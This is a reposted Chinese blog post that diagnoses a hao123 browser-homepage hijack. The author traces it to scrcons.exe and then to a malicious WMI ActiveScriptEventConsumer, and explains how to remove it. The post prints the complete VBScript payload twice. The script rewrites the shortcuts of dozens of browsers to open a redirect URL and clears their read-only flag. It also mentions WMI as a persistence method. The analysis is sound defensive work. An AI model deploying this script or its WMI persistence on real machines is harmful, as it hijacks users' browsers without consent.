• 解决hao123胁持chrome等浏览器主页问题


    - 转自:http://xinghao.me/2016/03/01/2016-03-01-kill-hao123/

    首先检查了一下chrome的主页设置,发现没有问题,依然是原来的google.com。

    然后到chrome的安装目录,直接双击打开chrome程序,没有问题。

    然后检查快捷方式。因为我把chrome固定到任务栏上,一般使用的时候都是点击任务栏图标的,而实际上这只是一个快捷方式。右键任务栏chrome图标->右键Google Chrome->属性,就会弹出该快捷方式的属性窗口。发现快捷方式的目标链接已经被修改,多加了一个启动参数:

    1
    "C:Program Files (x86)GoogleChromeApplicationchrome.exe" http://hao.169x.cn/?v=108

    而这个网址,打开之后就会重定向到hao123.com。

    原因找出来了,出现主页被胁持的原因是系统里所有跟chrome有关的快捷方式都被修改,加了一个启动参数导致每次被启动时候都会跳转到这个网址。除了任务栏快捷方式之外,开始菜单中跟chrome有关的所有快捷方式都无一幸免。

    修复尝试

    定位出这个原因之后,结合网上的一些方法,进行了很多的尝试,最后也没有彻底解决:

    • 手动删掉所有快捷方式中的启动参数。这个方法治标不治本,本来以为这样可以解决了,结果隔了一段时间,或者重启系统之后,所有快捷方式又会被恶意修改。

    • 尝试了一下参考文章2的方法,但是找不到文中所说的注册表项和隐藏文件。

    • 在注册表中搜索所有跟hao123相关的内容,然后删除,但是问题仍然存在。

    • 用Everything搜索本地所有跟hao123相关的文件和文件夹,但是删除之后仍然没有解决问题。

    • 最后找到了参考文章1的方法,但是在WMI event viewer中找不到文中所说的_EventFilter:Name=”unown_filter”

    • 重装chrome,但是一段时间之后恶心的hao123又回来了

    • 把所有chrome快捷方式设为只读,但是发现一段时间之后还是被恶意修改了

    解决方法

    经过这些头痛的尝试之后,决定先一步一步定位出原因,首先是要看一下到底是什么程序修改了chrome快捷方式。下载Process Monitor,菜单栏Filter->filter,在弹出的窗口中,把chrome的快捷方式路径添加到监视中:

    注意这时候不要对chrome进行任何操作,包括打开、右键等等,以免造成干扰。监视一段时间之后,就会发现元凶露出了真面目:

    就是这个叫scrcons.exe的程序在修改chrome快捷方式。

    这时候发现定位出来的原因跟这篇文章中的原因是一样的,于是再次按照文中所说的方法,用WMI Event Viewer查看WMI事件。但仍然没有在root/subscription里面找到可疑项,最后几番查找,终于在rootCIMV2里面揪出了真凶。
    首先打开WMI Event Viewer,点击左上角工具栏中的Register for Events按钮,默认就会连接到rootCIMV2,直接点确定即可。

    然后在Consumer in rootCIMV2 -> _EventConsumer -> ActiveScriptEventConsumer下,找到了可疑项。

    双击ActiveScriptEventConsumer.Name=”VBScriptKids_consumer”,弹出属性页面:

    就会发现chrome快捷方式被修改的元凶 — ScriptText:

    1
    On Error Resume Next:Const link = "http://hao.169x.cn/?v=108":Const link360 = "http://hao.169x.cn/?v=108&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:UsersPublicDesktop,C:ProgramDataMicrosoftWindowsStart MenuPrograms,C:UserschenxhDesktop,C:UserschenxhAppDataRoamingMicrosoftInternet ExplorerQuick Launch,C:UserschenxhAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedStartMenu,C:UserschenxhAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedTaskBar,C:UserschenxhAppDataRoamingMicrosoftWindowsStart MenuPrograms":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:

    这个脚本定期就会被系统调用一次,所以就算手动把快捷方式的参数清空,隔一段时间之后又会重新被改回来。

    这也是很多流氓软件的常用招数,具体可以参考利用WMI打造完美“三无”后门

    恶意脚本分析

    上面的VB脚本用冒号作为分隔符,把一段程序写成了一个语句,为了便于理解,把这段脚本重新排版了一下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    On Error Resume Next
    Const link = "http://hao.169x.cn/?v=108"
    Const link360 = "http://hao.169x.cn/?v=108&s=3"
    browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"

    lnkpaths = "C:UsersPublicDesktop,C:ProgramDataMicrosoftWindowsStart MenuPrograms,C:UserschenxhDesktop,C:UserschenxhAppDataRoamingMicrosoftInternet ExplorerQuick Launch,C:UserschenxhAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedStartMenu,C:UserschenxhAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedTaskBar,C:UserschenxhAppDataRoamingMicrosoftWindowsStart MenuPrograms"

    browsersArr = split(browsers,",")
    Set oDic = CreateObject("scripting.dictionary")

    For Each browser In browsersArr
    oDic.Add LCase(browser), browser
    Next
    lnkpathsArr = split(lnkpaths,",")

    Set oFolders = CreateObject("scripting.dictionary")
    For Each lnkpath In lnkpathsArr
    oFolders.Add lnkpath, lnkpath
    Next
    Set fso = CreateObject("Scripting.Filesystemobject")
    Set WshShell = CreateObject("Wscript.Shell")
    For Each oFolder In oFolders
    If fso.FolderExists(oFolder) Then
    For Each file In fso.GetFolder(oFolder).Files
    If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
    Set oShellLink = WshShell.CreateShortcut(file.Path)
    path = oShellLink.TargetPath
    name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
    If oDic.Exists(LCase(name)) Then
    If LCase(name) = LCase("360se.exe") Then
    oShellLink.Arguments = link360
    Else
    oShellLink.Arguments = link
    End If
    If file.Attributes And 1 Then
    file.Attributes = file.Attributes - 1
    End If
    oShellLink.Save
    End If
    End If
    Next
    End If
    Next

    可以看到,这段脚本就是遍历所有快捷方式目录(linkpaths)下的所有浏览器(browsers)的快捷方式,然后重新给快捷方式加上启动参数。

    这时,我们只需要在WMI event里把 _EventConsumer 删除,右键删除,如果权限不足,去文件夹下右键管理员启动WMI Event。上述所用到的工具均可百度搜索到。

  • 相关阅读:
    代码仓库
    介绍
    创建mysql数据库的命令
    操作流程
    Ubuntu20.04下Mercurial的安装与配置
    邮件列表-OpenJDK
    代码约定--OpenJDK
    ubuntu20.04 下 ADB调试android工具的安装
    openjdk开发者指南
    verifying module: xxx: initializing sumdb.Client: reading tree note: malformed note 解决方案
  • 原文地址:https://www.cnblogs.com/moweijie-mdeveloper/p/7026363.html
Copyright © 2020-2023  润新知